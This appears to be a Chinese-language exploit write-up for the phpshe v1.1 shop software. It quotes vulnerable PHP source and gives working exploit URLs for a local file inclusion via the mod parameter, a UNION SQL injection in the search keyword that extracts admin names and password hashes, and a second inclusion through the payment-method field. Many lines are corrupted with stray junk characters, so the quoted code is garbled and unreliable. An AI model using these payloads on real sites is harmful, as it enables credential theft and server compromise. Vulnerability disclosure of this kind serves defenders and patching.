phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
* K2 S: [( }' E* d- Q1 x5 N  E7 M/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
3 A2 |' s# ~& c* m, d, [, Y/*******************************************************/
0×00 整体大概参数传输
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, O+ X+ u4 w- E+ b0 {) g//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
# X  c- y0 O: A- p9 `else {
5 k: I3 Z0 p3 b# Q) C/ ]) ~! F' p!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- N# Z- z( y& b!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
) a( w4 P+ k; y2 [9 G+ Z}
- C3 p, `5 M  K! u; }$ a3 U& O* xsession_start();
  M. c! g0 L- u: r2 Y  B!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 s. h9 G, _! C; H, `) p!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

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/ O) t9 p. J8 s/ l& j) S//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
5 w* O# Y) d9 [( Dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
6 @9 \# y" }2 ]& e- x5 y& Fpe_result();
9 L9 [% T; H4 \& W0 D?>
6 u- m, Y0 ^4 S9 ^, U//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
2 ?9 I/ d) {, x* c! k" i$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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<code id="code2">

//product.php文件
: Y! z2 o9 `) F- s& F3 j2 xcase 'list':
- s. O) Q' }$ r0 K$category_id = intval($id);
; U/ u/ I6 `$ m% X- ^( t$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
9 C& U! \2 L  Z( C1 @4 N; Vpe_lead('hook/category.hook.php');
7 g/ M8 w* X" N( _7 h! `/ Y( N; Hif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' b7 n0 E6 s# E2 N* M" T}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
  s" _) ?' D# F2 @" ^4 j$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
  x! l5 x8 d+ U3 ]$sqlwhere .= " order by `product_id` desc";
5 ^% `" B1 z; a5 e3 A' A}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
, @. G; e3 T; k. `//热卖排行
$product_hotlist = product_hotlist();
: R6 y- r2 U5 N) M//当前路径
$nowpath = category_path($category_id);
! q/ h  @; z6 U* \1 y- @$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
+ q, ^. V, v7 {7 ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
9 n3 H; K. s1 s& Vreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
# c6 ]$ I! s: f, a9 ^product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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5 V9 h' c- v* @6 t) R! t<code id="code3">

//order.php

case 'pay':

$ G. E1 c2 S: t! z/ n$order_id = pe_dbhold($_g_id);

1 h& V/ ]# \# A$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

5 ?: I3 r# C( [  k% W+ R+ R- i" m}

- p& C& d: K' I+ P# f+ J. b: n1 Z}

, w0 L' }/ ^" n# V+ L2 l$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

/ a4 ^; I) q6 z6 U+ E5 T  K!$order['order_id'] && pe_error('订单号错误...');

1 y/ z3 S7 Y2 n1 {if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# g6 z# @9 j' ]! ?- R$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

! b) M& B4 e4 {$order['order_name'] .= "{$v['product_name']};";
, f/ p* ]% T5 c- z. q; h$ |% m( }

}

6 Q3 f2 m$ L" `8 e4 z7 \echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

" t3 z  {) x9 ]+ s3 e5 \1 `else {

4 s( t& B. T( t! M) t/ Jpe_error('支付错误...');

/ ]3 T6 o( i9 C% j+ F) f7 t8 _}

  n. @  J: u$ @}

. l% |6 z: k0 ^' o  F$seo = pe_seo('选择支付方式');

5 N) N1 D( Y( [8 W9 o' f2 K" Oinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>